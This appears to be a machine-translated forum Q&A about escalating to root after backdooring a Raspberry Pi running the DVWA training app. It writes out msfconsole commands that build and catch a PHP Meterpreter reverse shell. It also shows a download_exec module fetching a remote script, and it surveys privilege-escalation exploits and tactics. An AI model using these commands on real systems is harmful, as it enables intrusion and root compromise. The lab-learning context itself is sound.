MSFConsole/Kali Linux - 获得对 unix 系统的 root 访问权限

信息安全 开发 Unix kali-linux 重击 树莓派
2021-08-12 12:19:18

我在搞乱 Kali Linux、MSFConsole 和 DVWA(该死的易受攻击的 Web 应用程序)。

通过创建 PHP 后门并通过 SQL 注入上传它,我成功地进入了系统(Raspberry Pi)。

现在我可以访问系统,唯一的问题是我作为 www-data 运行(成为 root 来创建自己的超级用户帐户不是很好吗?!)是否可以在 Linux 中以某种方式提升权限(Raspbaian)通过使用 MSFConsole、BASH(来自后门)还是其他方式?

我试图在 Meterpreter 提示符中运行“使用 priv”,但我得到的错误是“加载扩展失败:找不到名为 ext_server_priv.php 的模块”。如果有帮助,我会将 reverse_tcp 漏洞利用作为 PHP 脚本运行。

我能够通过运行这是 Msfconsole 来破坏系统

use php/meterpreter/reverse_tcp
set LHOST <my IP>
generate -t raw -f hackme.php
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <my IP>
exploit

然后我通过不安全的文件上传将 hackme.php 上传到网络服务器,完成后我浏览到上传的文件。

感谢这个视频给了我上面的代码。(我不得不使用 generate 函数而不是 msfpayload,因为该功能已被移动,因为它已被弃用。)

3个回答

至此,您已经了解了系统妥协的基础知识,并且进入了常见的第二个漏洞利用阶段,即权限提升。

究竟如何实现这一点在很大程度上取决于相关系统、安装的代码以及配置方式。在 linux 系统上获取权限提升的一些选项

  • SetUID 可以由您运行的用户写入的根二进制文件。如果你能找到一些你可以覆盖的东西,当执行时,它会以 root 身份运行,你可以使用它来提升你的权限。
  • 以 root 身份运行的系统服务中的漏洞。这可能取决于您正在运行的系统的补丁状态。

其他更适用于“现实世界”安全测试但不太可能适用于您的情况的事情

  • 在系统上的文件中公开的凭据。这可能是利用系统的常用方法。
  • 密码猜测攻击。猜测凭据是获得额外访问权限的好方法
  • 从您的受攻击系统转向同一网络中的另一个系统。通常,一旦攻击者在网络中站稳脚跟,他们就会扫描其他可能具有可被利用的中间配置的系统。

根据 metasploit 文档,用户 priv 是一个仅适用于本机 Windows 仪表器(而不是其他仪表器)的模块。

您可能想研究我不知道的 unix 特权升级。我不相信 metasploit 有一个自动化模块可以做到这一点......

祝你好运 ;)

您可以使用 sessions -u <#> 将您的 shell 升级到 Meterpreter,然后运行 ​​post 模块(例如 post/multi/recon/local_exploit_suggester),或者您也可以使用现有会话(Meterpreter 与否)并运行本地权限升级通过设置 SESSION 变量来利用 udev_netlink、sock_sendpage 等。

有些模块因操作系统或场景而异,有些模块很难在 metasploit-framework 层次结构中找到。在meterpreter中尝试以下操作:

显示帖子

运行后/多/<tab><tab>

运行帖子/linux/<tab><tab>

运行漏洞利用/多/<tab><tab>

您还可以在 metasploit 框架之外运行各种权限提升工具并将它们启动到您的会话中。以下是有助于这项工作的两个模块:

使用 post/multi/gather/multi_command

设置资源 cmds.rc

使用 post/linux/manage/download_exec

设置网址http://10.0.0.1/cmds.sh

我建议您在实验室中准备一个与您的目标系统质量相匹配的系统,例如,相同的操作系统、补丁级别、可安装项、配置设置等。通过在这个模拟实验室目标上保持 root 访问权限,您可以重新创建您将尝试对真实目标执行的操作。很多提权工具需要root权限才能正常运行,例如,证书模式下的Nessus和OpenVAS、CIS-CAT、ovaldi、cvechecker、lynis、unix-privesc-check和enum4linux都是这方面的好工具空间。其他的必须只在真实的目标系统上运行,例如 sucrack 或 phrasendrescher。一些权限提升攻击需要更多的计划,例如利用自定义 setuid/setgid二进制文件。RPi 可能需要一个交叉编译器来进行漏洞利用,除非您更改偏移量以使用 ARM 平台的寄存器、操作码和字节序,否则许多甚至可能无法工作。